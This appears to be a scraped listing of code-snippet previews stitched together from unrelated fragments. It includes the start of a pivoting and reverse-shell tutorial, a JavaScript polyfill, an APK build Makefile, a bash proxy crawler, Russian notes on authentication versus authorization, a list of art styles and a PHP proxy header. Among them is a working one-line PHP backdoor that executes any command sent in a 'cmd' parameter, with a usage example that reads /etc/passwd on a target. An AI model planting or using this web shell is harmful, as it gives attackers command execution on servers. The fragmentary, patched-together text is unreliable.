Forwarding and Pivoting can be a confusing topic. I still get headache's sometimes trying to keep track of what i did to get to this port, and how im gonna get a reverse shell back to that subnet and whatnot. This is just a quick writeup attempting to show the differences in the main types of forwards and pivots, as well as what works for me.
For the purpose of this tut, im gonna set a few static ip's that ill stick with til the end
LHOST = 192.168.1.1
| // for support before ECMA-262 5th edition ... | |
| if (!Date.now) { | |
| Date.now = function now() { | |
| return +(new Date); | |
| }; | |
| } | |
| // keep track of how many errors have been logged to server | |
| var num_errors = 0; | |
| var max_errors = 10; |
| .PHONY: run | |
| # certs and output | |
| OUTPUT_FILE=apkname.apk | |
| ALIAS=youralias | |
| KEYPASS=yourkeypass | |
| KEYSTORE=certs/yourcert.keystore | |
| UNSIGNED=platforms/android/build/outputs/apk/android-release-unsigned.apk | |
| # or, if you're using Crosswalk: |
| #!/bin/bash | |
| #Crawl www.samair.ru/proxy/proxy-$pagenum.htm for proxy list | |
| echo -e -n "Crawling www.samair.ru for proxy list \nDoing Page: " | |
| rm proxylist.txt &> /dev/null | |
| for pagenum in {1..99} | |
| do | |
| echo -n "$pagenum " |
| /** | |
| * Simple express sever | |
| * Copyright (c) 2014, marlun78 | |
| * MIT License, https://gist.github.com/marlun78/bd0800cf5e8053ba9f83 | |
| * | |
| * Assumes this folder structure | |
| * /public | |
| * /server | |
| * | |
| * Express: http://expressjs.com |
| <!-- Simple PHP Backdoor By DK (One-Liner Version) --> | |
| <!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd --> | |
| <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> |
Аутентификация(authentication, от греч. αὐθεντικός [authentikos] – реальный, подлинный; от αὐθέντης [authentes] – автор) - это процесс проверки учётных данных пользователя (логин/пароль). Проверка подлинности пользователя путём сравнения введённого им логина/пароля с данными сохранёнными в базе данных.
Авторизация(authorization — разрешение, уполномочивание) - это проверка прав пользователя на доступ к определенным ресурсам.
Например после аутентификации юзер sasha получает право обращатся и получать от ресурса "super.com/vip" некие данные. Во время обращения юзера sasha к ресурсу vip система авторизации проверит имеет ли право юзер обращатся к этому ресурсу (проще говоря переходить по неким разрешенным ссылкам)
| Abstract Art | |
| Abstract Expressionism Painting | |
| Acrylics | |
| Ancient Pottery | |
| Animation | |
| Architecture | |
| Art Brut | |
| Art Deco | |
| Art Installation | |
| Art Nouveau |
| <?php | |
| /** | |
| * Простой прокси-сервер на PHP для изучения и модификации данных, | |
| * передаваемых между браузером и сторонним сервером. | |
| * | |
| * Запуск: | |
| * | |
| * указать URL сайта в $base | |
| * php -S 127.0.0.1:9001 proxy.php | |
| * |